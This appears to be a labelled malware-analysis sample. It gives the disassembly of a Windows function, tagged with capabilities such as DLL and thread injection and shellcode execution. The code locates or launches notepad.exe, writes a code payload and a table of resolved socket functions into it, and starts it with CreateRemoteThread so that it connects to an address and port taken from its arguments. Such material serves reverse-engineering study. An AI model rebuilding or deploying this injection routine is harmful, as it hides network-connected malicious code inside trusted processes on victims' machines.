Function at 0x401420
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject dll
Inject thread
Spawn thread to rwx shellcode
Terminate process
Terminate process by name

Disassembly:
sub esp, 0xbe0
mov ecx, 8
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp + 0x10]
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
call ebx
and eax, 0x80000007
jns 0x40144c
dec eax
or eax, 0xfffffff8
inc eax
add al, 3
mov byte [esp + 0x10], al
call ebx
cdq
mov ecx, 7
idiv ecx
add dl, 4
mov byte [esp + 0x1b], dl
call ebx
cdq
mov ecx, 0xa
xor edi, edi
idiv ecx
mov al, byte [esp + 0x10]
inc dl
test al, al
mov byte [esp + 0x26], dl
jle 0x4014ab
mov esi, dword [esp + 0xbf4]
lea ebp, [esp + 0x11]
sub ebp, esi
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
inc edi
mov byte [esi + ebp], dl
mov byte [esi], dl
movsx edx, byte [esp + 0x10]
inc esi
cmp edi, edx
jl 0x40148a
mov dl, byte [esp + 0x26]
mov al, byte [esp + 0x1b]
xor edi, edi
test al, al
jle 0x4014e3
mov esi, dword [esp + 0xbf8]
lea ebp, [esp + 0x1c]
sub ebp, esi
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
inc edi
mov byte [esi + ebp], dl
mov byte [esi], dl
movsx edx, byte [esp + 0x1b]
inc esi
cmp edi, edx
jl 0x4014c2
mov dl, byte [esp + 0x26]
xor esi, esi
test dl, dl
jle 0x401504
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
mov byte [esp + esi + 0x27], dl
inc esi
movsx edx, byte [esp + 0x26]
cmp esi, edx
jl 0x4014e9
push 0x64
lea eax, [esp + 0x128]
push 0x21
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.00401bb0
add esp, 0x10
call ebx
cdq
mov ecx, 0xa
idiv ecx
push edx
call ebx
cdq
mov ecx, 3
idiv ecx
push edx
call ebx
cdq
mov ecx, 0xa
idiv ecx
push edx
call ebx
and eax, 0x80000001
jns 0x40154c
dec eax
or eax, 0xfffffffe
inc eax
push eax
call ebx
cdq
mov ecx, 0xa
idiv ecx
push edx
call ebx
cdq
mov ecx, 0xa
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
idiv ecx
push edx
lea edx, [esp + 0x80]
push str.9_d_d__d_d__d_d
push edx
call esi
lea edi, [esp + 0x88]
or ecx, 0xffffffff
xor eax, eax
push 0x32
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xd0]
push ecx
lea ecx, [esp + 0x90]
push eax
push ecx
call fcn.00401bb0
add esp, 0x30
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x61
push edx
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x61
push edx
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x61
push edx
lea edx, [esp + 0x74]
push str._c_c_c
push edx
call esi
lea edi, [esp + 0x7c]
or ecx, 0xffffffff
xor eax, eax
push 0x32
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x4c]
push ecx
lea ecx, [esp + 0x84]
push eax
push ecx
call fcn.00401bb0
add esp, 0x24
call ebx
and eax, reloc.WS2_32.dll_closesocket
jns 0x40160e
dec eax
or eax, 0xfffffffc
inc eax
cmp eax, 3
ja case.default.0x401617
jmp dword [eax*4 + 0x401b98]
lea edx, [esp + 0xac]
lea eax, [esp + 0x34]
push edx
lea ecx, [esp + 0x38]
push eax
lea edx, [esp + 0x12c]
push ecx
push edx
lea eax, [esp + 0x800]
push str.1_____IDC_________s______________trIO_mH__iHOLqIO_mHL____________________EoU_________________________M__s___________________________________________________________________sI_U______________________SI__s__________dm_s____________________________________________________________________________
push eax
call esi
add esp, 0x18
jmp case.default.0x401617
lea ecx, [esp + 0xac]
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x3c]
push eax
lea edx, [esp + 0x40]
push ecx
lea eax, [esp + 0x134]
push edx
push eax
lea ecx, [esp + 0x808]
push str.1_____IDC_________s______________trIO_mH__iHOLqIO_mHL____________________U_Xr_sT___________________Qo_sU_________________________________________________________________SI__s_____________________CI_UbQb_s______dm_s____________________________________________________________________________
push ecx
call esi
add esp, 0x20
jmp case.default.0x401617
call ebx
cdq
mov ecx, 0xa
idiv ecx
push edx
call ebx
cdq
mov ecx, 0xa
idiv ecx
push edx
lea edx, [esp + 0x70]
push str._d_d
push edx
call esi
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x44]
push 0x32
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edi, [esp + 0x7c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x48]
push ecx
lea ecx, [esp + 0x80]
push eax
push ecx
call fcn.00401bb0
add esp, 0x20
lea edx, [esp + 0xac]
lea eax, [esp + 0x34]
lea ecx, [esp + 0x34]
push edx
push eax
lea edx, [esp + 0x12c]
push ecx
push edx
lea eax, [esp + 0x800]
push str.1_____IDC_________s______________trIO_mH__iHOLqIO_mHL____________________Hm_s_______________________DmH_______________________________________________________________________n_________________________Hn_s___________dm_s____________________________________________________________________________
push eax
call esi
add esp, 0x18
jmp case.default.0x401617
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x61
push edx
call ebx
cdq
mov ecx, 0xa
idiv ecx
push edx
call ebx
cdq
mov ecx, 0xa
idiv ecx
push edx
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x61
push edx
call ebx
cdq
mov ecx, 0xa
idiv ecx
push edx
lea edx, [esp + 0x7c]
push str._d_c_d_d_c
push edx
call esi
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x50]
push 0x32
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edi, [esp + 0x88]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x54]
push ecx
lea ecx, [esp + 0x8c]
push eax
push ecx
call fcn.00401bb0
add esp, 0x2c
lea edx, [esp + 0xac]
lea eax, [esp + 0x34]
lea ecx, [esp + 0x34]
push edx
push eax
lea edx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x130]
push edx
push eax
lea ecx, [esp + 0x804]
push str.1_____IDC_________s______________trIO_mH__iHOLqIO_mHL_______________________sbU_________________Ub_s_______________________________________________________________o_n_s__________________sI_U____________dm_s____________________________________________________________________________
push ecx
call esi
add esp, 0x1c
xor ebp, ebp
push ebp
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
push 0x128
mov edi, eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40183c
lea eax, [esi + 0x24]
push str.notepad.exe
push eax
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x401809
mov ebp, dword [esi + 8]
push esi
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x401838
lea eax, [esi + 0x24]
push str.notepad.exe
push eax
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x40182d
mov ebp, dword [esi + 8]
push esi
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401814
test ebp, ebp
jne 0x40189a
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xe0]
lea edx, [esp + 0x9c]
rep stosd dword es:[edi], eax
mov word [esp + 0x110], ax
lea eax, [esp + 0xe0]
push edx
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push str.notepad.exe
push 0
mov dword [esp + 0x108], 0x44
mov dword [esp + 0x134], 1
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ebp, dword [esp + 0xa4]
mov ecx, 0x19a
xor eax, eax
lea edi, [esp + 0x188]
lea edx, [esp + 0x598]
rep stosd dword es:[edi], eax
or ecx, 0xffffffff
mov edi, str.kernel32.dll
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x5ac]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.wsock32.dll
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x5c0]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.WSAStartup
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x5d4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.socket
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x5e8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.connect
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x5fc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.send
or ecx, 0xffffffff
xor eax, eax
push str.kernel32.dll
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x614]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.recv
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x628]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.closesocket
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
push str.GetProcAddress
push esi
call edi
push str.LoadLibraryA
push esi
mov dword [esp + 0x194], eax
call edi
push str.ExitProcess
push esi
mov dword [esp + 0x190], eax
call edi
push str.Sleep
push esi
mov dword [esp + 0x198], eax
call edi
mov ecx, dword [esp + 0xc00]
mov dword [esp + 0x194], eax
push ecx
mov word [esp + 0x648], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esp + 0xbfc]
mov word [esp + 0x646], ax
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x648], eax
lea edi, [esp + 0x7f0]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x654], 0x10
lea edx, [esp + 0x198]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x198]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x658], ecx
call ebx
cdq
mov ecx, 0xbb8
push ebp
idiv ecx
push 0
push 0x2a
add edx, 0x1f40
mov dword [esp + 0x668], edx
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x401b78
mov edi, dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
push pe_nt_image_headers32
push 0x1000
push 0x2000
push 0
push esi
call edi
mov ebx, eax
test ebx, ebx
je 0x401b68
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push 0
push 0x2000
push 0x401c80
push ebx
push esi
call ebp
test eax, eax
je 0x401b68
push 4
push 0x1000
push 0x668
push 0
push esi
call edi
mov edi, eax
test edi, edi
je 0x401b68
push 0
lea edx, [esp + 0x18c]
push 0x668
push edx
push edi
push esi
call ebp
test eax, eax
je 0x401b68
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
test eax, eax
jne 0x401b85
push 1
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xbe0
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xbe0
ret